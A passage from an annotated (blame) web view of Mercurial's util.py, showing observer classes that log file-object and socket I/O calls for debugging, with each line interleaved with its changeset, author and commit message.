util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
785 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
786 def setsockopt(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
787 return object.__getattribute__(self, r'_observedcall')( |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
788 r'setsockopt', *args, **kwargs |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
789 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
790 |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
791 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
792 class baseproxyobserver(object): |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
793 def _writedata(self, data): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
794 if not self.logdata: |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
795 if self.logdataapis: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
796 self.fh.write(b'\n') |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
797 self.fh.flush() |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
798 return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
799 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
800 # Simple case writes all data on a single line. |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
801 if b'\n' not in data: |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
802 if self.logdataapis: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
803 self.fh.write(b': %s\n' % stringutil.escapestr(data)) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
804 else: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
805 self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
806 b'%s> %s\n' % (self.name, stringutil.escapestr(data)) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
807 ) |
36991
d683c7367989
wireproto: explicitly flush stdio to prevent stalls on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents:
36958
diff
changeset
|
808 self.fh.flush() |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
809 return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
810 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
811 # Data with newlines is written to multiple lines. |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
812 if self.logdataapis: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
813 self.fh.write(b':\n') |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
814 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
815 lines = data.splitlines(True) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
816 for line in lines: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
817 self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
818 b'%s> %s\n' % (self.name, stringutil.escapestr(line)) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
819 ) |
36991
d683c7367989
wireproto: explicitly flush stdio to prevent stalls on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents:
36958
diff
changeset
|
820 self.fh.flush() |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
821 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
822 |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
823 class fileobjectobserver(baseproxyobserver): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
824 """Logs file object activity.""" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
825 |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
826 def __init__( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
827 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
828 ): |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
829 self.fh = fh |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
830 self.name = name |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
831 self.logdata = logdata |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
832 self.logdataapis = logdataapis |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
833 self.reads = reads |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
834 self.writes = writes |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
835 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
836 def read(self, res, size=-1): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
837 if not self.reads: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
838 return |
36585
26a6b62919e2
util: work around Python 3 returning None at EOF instead of ''
Augie Fackler <augie@google.com>
parents:
36584
diff
changeset
|
839 # Python 3 can return None from reads at EOF instead of empty strings. |
26a6b62919e2
util: work around Python 3 returning None at EOF instead of ''
Augie Fackler <augie@google.com>
parents:
36584
diff
changeset
|
840 if res is None: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
841 res = b'' |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
842 |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
843 if size == -1 and res == b'': |
38314
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
844 # Suppress pointless read(-1) calls that return |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
845 # nothing. These happen _a lot_ on Python 3, and there |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
846 # doesn't seem to be a better workaround to have matching |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
847 # Python 2 and 3 behavior. :( |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
848 return |
565074cc9ac6
tests: suppress read(-1) -> '' calls in fileobjectobserver
Augie Fackler <augie@google.com>
parents:
38164
diff
changeset
|
849 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
850 if self.logdataapis: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
851 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res))) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
852 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
853 self._writedata(res) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
854 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
855 def readline(self, res, limit=-1): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
856 if not self.reads: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
857 return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
858 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
859 if self.logdataapis: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
860 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res))) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
861 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
862 self._writedata(res) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
863 |
36630
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
864 def readinto(self, res, dest): |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
865 if not self.reads: |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
866 return |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
867 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
868 if self.logdataapis: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
869 self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
870 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
871 ) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
872 |
36630
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
873 data = dest[0:res] if res is not None else b'' |
41384
b141b5243b37
util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
41289
diff
changeset
|
874 |
b141b5243b37
util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
41289
diff
changeset
|
875 # _writedata() uses "in" operator and is confused by memoryview because |
b141b5243b37
util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
41289
diff
changeset
|
876 # characters are ints on Python 3. |
b141b5243b37
util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
41289
diff
changeset
|
877 if isinstance(data, memoryview): |
b141b5243b37
util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
41289
diff
changeset
|
878 data = data.tobytes() |
b141b5243b37
util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
41289
diff
changeset
|
879 |
36630
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
880 self._writedata(data) |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
881 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
882 def write(self, res, data): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
883 if not self.writes: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
884 return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
885 |
36631
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
886 # Python 2 returns None from some write() calls. Python 3 (reasonably) |
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
887 # returns the integer bytes written. |
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
888 if res is None and data: |
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
889 res = len(data) |
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
890 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
891 if self.logdataapis: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
892 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res)) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
893 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
894 self._writedata(data) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
895 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
896 def flush(self, res): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
897 if not self.writes: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
898 return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
899 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
900 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res)) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
901 |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
902 # For observedbufferedinputpipe. |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
903 def bufferedread(self, res, size): |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
904 if not self.reads: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
905 return |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
906 |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
907 if self.logdataapis: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
908 self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
909 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res)) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
910 ) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
911 |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
912 self._writedata(res) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
913 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
914 def bufferedreadline(self, res): |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
915 if not self.reads: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
916 return |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
917 |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
918 if self.logdataapis: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
919 self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
920 b'%s> bufferedreadline() -> %d' % (self.name, len(res)) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
921 ) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
922 |
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
923 self._writedata(res) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
924 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
925 |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
926 def makeloggingfileobject( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
927 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
928 ): |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
929 """Turn a file object into a logging file object.""" |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
930 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
931 observer = fileobjectobserver( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
932 logh, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
933 name, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
934 reads=reads, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
935 writes=writes, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
936 logdata=logdata, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
937 logdataapis=logdataapis, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
938 ) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
939 return fileobjectproxy(fh, observer) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
940 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
941 |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
942 class socketobserver(baseproxyobserver): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
943 """Logs socket activity.""" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
944 |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
945 def __init__( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
946 self, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
947 fh, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
948 name, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
949 reads=True, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
950 writes=True, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
951 states=True, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
952 logdata=False, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
953 logdataapis=True, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
954 ): |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
955 self.fh = fh |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
956 self.name = name |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
957 self.reads = reads |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
958 self.writes = writes |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
959 self.states = states |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
960 self.logdata = logdata |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
961 self.logdataapis = logdataapis |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
962 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
963 def makefile(self, res, mode=None, bufsize=None): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
964 if not self.states: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
965 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
966 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
967 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize)) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
968 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
969 def recv(self, res, size, flags=0): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
970 if not self.reads: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
971 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
972 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
973 if self.logdataapis: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
974 self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
975 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res)) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
976 ) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
977 self._writedata(res) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
978 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
979 def recvfrom(self, res, size, flags=0): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
980 if not self.reads: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
981 return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
982 |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
